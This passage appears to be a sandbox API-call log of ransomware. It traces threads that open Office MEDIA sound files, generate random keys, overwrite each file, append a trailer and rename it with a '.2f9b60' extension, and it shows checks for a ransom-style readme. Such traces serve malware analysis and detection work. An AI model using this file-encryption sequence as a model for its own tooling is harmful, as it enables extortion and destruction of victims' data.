[0103.867] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e48fa58, SourceString="bae43e025458e6ef3d0ad8e71a6eaca9f6ce44b5", AllocateDestinationString=1 | out: DestinationString="bae43e025458e6ef3d0ad8e71a6eaca9f6ce44b5") returned 0x0 [0103.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c850 [0103.867] wcscat (in: _Dest=0x2050a5c0, _Source="bae43e0254" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\bae43e0254") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\bae43e0254" [0103.867] wcscat (in: _Dest=0x2050a5c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\bae43e0254.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\bae43e0254.2f9b60" [0103.867] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\bae43e0254.2f9b60", NtPathName=0x2e48fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\bae43e0254.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x20501950 [0104.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501950) returned 1 [0104.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42057690) returned 1 [0104.479] NtQueryInformationFile (in: FileHandle=0x1644, IoStatusBlock=0x2e48fa98, FileInformation=0x2e48faa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e48fa98, FileInformation=0x2e48faa8) returned 0x0 [0104.479] NtSetInformationFile (FileHandle=0x1644, IoStatusBlock=0x2e48fa98, FileInformation=0x2e48faa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a5c0) returned 1 [0104.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c850) returned 1 [0104.482] FlushFileBuffers (hFile=0x1644) returned 1 [0104.597] CloseHandle (hObject=0x1644) returned 1 [0104.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4650 [0104.605] wcscpy (in: _Dest=0x202a4650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0104.605] wcscat (in: _Dest=0x202a4650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0104.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0104.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4650) returned 1 [0104.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 Thread: id = 910 os_tid = 0x14e0 [0101.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\laser.wav")) returned 0x20 [0103.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV", dwFileAttributes=0x20) returned 1 [0103.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\laser.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x176c [0103.611] GetFileSizeEx (in: hFile=0x176c, lpFileSize=0x2e2cfac0 | out: lpFileSize=0x2e2cfac0*=1837) returned 1 [0103.611] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x729, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.611] ReadFile (in: hFile=0x176c, lpBuffer=0x2e2cfa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e2cfa88, lpOverlapped=0x0 | out: lpBuffer=0x2e2cfa40*, lpNumberOfBytesRead=0x2e2cfa88*=0x4, lpOverlapped=0x0) returned 1 [0103.665] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0103.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0103.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0103.666] NtQuerySystemTime (in: CurrentTime=0x2e2cf980 | out: CurrentTime=0x2e2cf980*=132462177091762000) returned 0x0 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x2815c4a7 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x7533af81 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x5721fbfd [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x5ec890b3 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x55d14e90 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x404eca0 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x44fc76dd [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x69b2a4a4 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x42fc7b4a [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x5f9c47ed [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x55eee803 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x381669f2 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x14edaad9 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x787e5091 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x22aecdeb [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x72ad95df [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x6db21d64 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x77b9e845 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x7894aa89 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x45b3f6be [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x3b56190f [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x3143b29b [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x663c96a4 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x785007a4 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x556a2468 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x752fdab4 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x47e0da96 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x402cb8a1 [0103.666] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x6a2a0bc [0103.667] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x1343ccec [0103.667] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x2a99b2d7 [0103.667] RtlRandomEx (in: Seed=0x2e2cf970 | out: Seed=0x2e2cf970) returned 0x51d02582 [0103.675] ReadFile (in: hFile=0x176c, lpBuffer=0x41ef1d40, nNumberOfBytesToRead=0x72d, lpNumberOfBytesRead=0x2e2cf970, lpOverlapped=0x0 | out: lpBuffer=0x41ef1d40*, lpNumberOfBytesRead=0x2e2cf970*=0x72d, lpOverlapped=0x0) returned 1 [0103.675] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.675] WriteFile (in: hFile=0x176c, lpBuffer=0x41ef5950*, nNumberOfBytesToWrite=0x72d, lpNumberOfBytesWritten=0x2e2cf974, lpOverlapped=0x0 | out: lpBuffer=0x41ef5950*, lpNumberOfBytesWritten=0x2e2cf974*=0x72d, lpOverlapped=0x0) returned 1 [0104.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0104.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7260 [0104.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7260) returned 1 [0104.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ef5950) returned 1 [0104.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ef1d40) returned 1 [0104.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503a90) returned 1 [0104.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f80) returned 1 [0104.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7260 [0104.080] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.081] WriteFile (in: hFile=0x176c, lpBuffer=0x168d60*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2e2cfa90, lpOverlapped=0x0 | out: lpBuffer=0x168d60*, lpNumberOfBytesWritten=0x2e2cfa90*=0x104, lpOverlapped=0x0) returned 1 [0104.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0104.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0104.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0104.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f580) returned 1 [0104.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0104.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0104.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0104.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f670) returned 1 [0104.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0104.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0104.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b85f670 [0104.217] sprintf (in: _Dest=0x1b85f670, _Format="%c%c" | out: _Dest="c1") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f672, _Format="%c%c" | out: _Dest="ca") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f674, _Format="%c%c" | out: _Dest="49") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f676, _Format="%c%c" | out: _Dest="80") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f678, _Format="%c%c" | out: _Dest="45") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f67a, _Format="%c%c" | out: _Dest="30") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f67c, _Format="%c%c" | out: _Dest="d5") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f67e, _Format="%c%c" | out: _Dest="5f") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f680, _Format="%c%c" | out: _Dest="96") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f682, _Format="%c%c" | out: _Dest="2c") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f684, _Format="%c%c" | out: _Dest="10") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f686, _Format="%c%c" | out: _Dest="2b") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f688, _Format="%c%c" | out: _Dest="7d") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f68a, _Format="%c%c" | out: _Dest="20") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f68c, _Format="%c%c" | out: _Dest="cc") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f68e, _Format="%c%c" | out: _Dest="59") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f690, _Format="%c%c" | out: _Dest="e1") returned 2 [0104.217] sprintf (in: _Dest=0x1b85f692, _Format="%c%c" | out: _Dest="fe") returned 2 [0104.217] RtlInitAnsiString (in: DestinationString=0x2e2cfb08, SourceString="c1ca49804530d55f962c102b7d20cc59e1fe" | out: DestinationString="c1ca49804530d55f962c102b7d20cc59e1fe") [0104.217] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e2cfad8, SourceString="c1ca49804530d55f962c102b7d20cc59e1fe", AllocateDestinationString=1 | out: DestinationString="c1ca49804530d55f962c102b7d20cc59e1fe") returned 0x0 [0104.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9cd30 [0104.218] wcscat (in: _Dest=0x2050ac80, _Source="c1ca49804" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c1ca49804") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c1ca49804" [0104.218] wcscat (in: _Dest=0x2050ac80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c1ca49804.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c1ca49804.2f9b60" [0104.218] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c1ca49804.2f9b60", NtPathName=0x2e2cfab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c1ca49804.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x20502030 [0104.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20502030) returned 1 [0104.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99480) returned 1 [0104.487] NtQueryInformationFile (in: FileHandle=0x176c, IoStatusBlock=0x2e2cfb18, FileInformation=0x2e2cfb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e2cfb18, FileInformation=0x2e2cfb28) returned 0x0 [0104.487] NtSetInformationFile (FileHandle=0x176c, IoStatusBlock=0x2e2cfb18, FileInformation=0x2e2cfb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ac80) returned 1 [0104.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cd30) returned 1 [0104.493] FlushFileBuffers (hFile=0x176c) returned 1 [0104.616] CloseHandle (hObject=0x176c) returned 1 [0104.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4800 [0104.617] wcscpy (in: _Dest=0x202a4800, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0104.617] wcscat (in: _Dest=0x202a4800, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0104.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0104.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4800) returned 1 [0104.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 Thread: id = 911 os_tid = 0x14e4 [0101.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\push.wav")) returned 0x20 [0102.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV", dwFileAttributes=0x20) returned 1 [0102.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\push.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1718 [0102.630] GetFileSizeEx (in: hFile=0x1718, lpFileSize=0x2e61fd40 | out: lpFileSize=0x2e61fd40*=15748) returned 1 [0102.630] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0x3d80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.630] ReadFile (in: hFile=0x1718, lpBuffer=0x2e61fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e61fd08, lpOverlapped=0x0 | out: lpBuffer=0x2e61fcc0*, lpNumberOfBytesRead=0x2e61fd08*=0x4, lpOverlapped=0x0) returned 1 [0102.635] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a70 [0102.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0102.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260140 [0102.635] NtQuerySystemTime (in: CurrentTime=0x2e61fc00 | out: CurrentTime=0x2e61fc00*=132462177081622000) returned 0x0 [0102.635] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x7332d6f2 [0102.635] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x64aefc3b [0102.635] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x3ba32f47 [0102.635] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x1f7bd50b [0102.635] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x325720c2 [0102.635] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x3c586a56 [0102.635] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x1c58e6f8 [0102.635] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x54b2bc70 [0102.635] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x36e5c15c [0102.635] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x673f322f [0102.635] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x185655a3 [0102.635] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x4f2e8946 [0102.635] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x2f09de1d [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x30784d6e [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x28311ab6 [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x1330c26 [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x26016313 [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x4e86acbd [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x6512b915 [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x47d08d40 [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x660f2c8a [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0xf812c1a [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x41c9361e [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x23d86744 [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x6df17881 [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x7de924cf [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x154ea3e2 [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x259b6924 [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x52eede01 [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x30c8fad4 [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x78668335 [0102.636] RtlRandomEx (in: Seed=0x2e61fbf0 | out: Seed=0x2e61fbf0) returned 0x33152127 [0102.646] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.646] ReadFile (in: hFile=0x1718, lpBuffer=0x202b98d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2e61fc60, lpOverlapped=0x0 | out: lpBuffer=0x202b98d0*, lpNumberOfBytesRead=0x2e61fc60*=0x3c00, lpOverlapped=0x0) returned 1 [0102.651] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0102.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866bc0 [0102.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a70 [0102.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a70) returned 1 [0102.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202d3d40 [0102.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a70 [0102.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260140 [0102.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260140) returned 1 [0102.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0102.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0102.653] WriteFile (in: hFile=0x1718, lpBuffer=0x202d3d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2e61fc60, lpOverlapped=0x0 | out: lpBuffer=0x202d3d40*, lpNumberOfBytesWritten=0x2e61fc60*=0x3c00, lpOverlapped=0x0) returned 1 [0103.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d3d40) returned 1 [0103.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b98d0) returned 1 [0103.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b859d30 [0103.453] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.453] WriteFile (in: hFile=0x1718, lpBuffer=0x169b30*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e61fd10, lpOverlapped=0x0 | out: lpBuffer=0x169b30*, lpNumberOfBytesWritten=0x2e61fd10*=0x102, lpOverlapped=0x0) returned 1 [0103.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d10 [0103.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260830 [0103.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260830) returned 1 [0103.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0103.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260830 [0103.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608c0 [0103.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608c0) returned 1 [0103.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0103.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x202608c0 [0103.864] sprintf (in: _Dest=0x202608c0, _Format="%c%c" | out: _Dest="3a") returned 2 [0103.864] sprintf (in: _Dest=0x202608c2, _Format="%c%c" | out: _Dest="2a") returned 2 [0103.864] sprintf (in: _Dest=0x202608c4, _Format="%c%c" | out: _Dest="1c") returned 2 [0103.864] sprintf (in: _Dest=0x202608c6, _Format="%c%c" | out: _Dest="f2") returned 2 [0103.864] sprintf (in: _Dest=0x202608c8, _Format="%c%c" | out: _Dest="ae") returned 2 [0103.864] sprintf (in: _Dest=0x202608ca, _Format="%c%c" | out: _Dest="2e") returned 2 [0103.864] sprintf (in: _Dest=0x202608cc, _Format="%c%c" | out: _Dest="23") returned 2 [0103.864] sprintf (in: _Dest=0x202608ce, _Format="%c%c" | out: _Dest="56") returned 2 [0103.864] sprintf (in: _Dest=0x202608d0, _Format="%c%c" | out: _Dest="05") returned 2 [0103.864] sprintf (in: _Dest=0x202608d2, _Format="%c%c" | out: _Dest="ba") returned 2 [0103.864] sprintf (in: _Dest=0x202608d4, _Format="%c%c" | out: _Dest="cd") returned 2 [0103.864] sprintf (in: _Dest=0x202608d6, _Format="%c%c" | out: _Dest="b9") returned 2 [0103.864] sprintf (in: _Dest=0x202608d8, _Format="%c%c" | out: _Dest="a6") returned 2 [0103.864] sprintf (in: _Dest=0x202608da, _Format="%c%c" | out: _Dest="4b") returned 2 [0103.864] sprintf (in: _Dest=0x202608dc, _Format="%c%c" | out: _Dest="7a") returned 2 [0103.864] sprintf (in: _Dest=0x202608de, _Format="%c%c" | out: _Dest="84") returned 2 [0103.864] RtlInitAnsiString (in: DestinationString=0x2e61fd88, SourceString="3a2a1cf2ae2e235605bacdb9a64b7a84" | out: 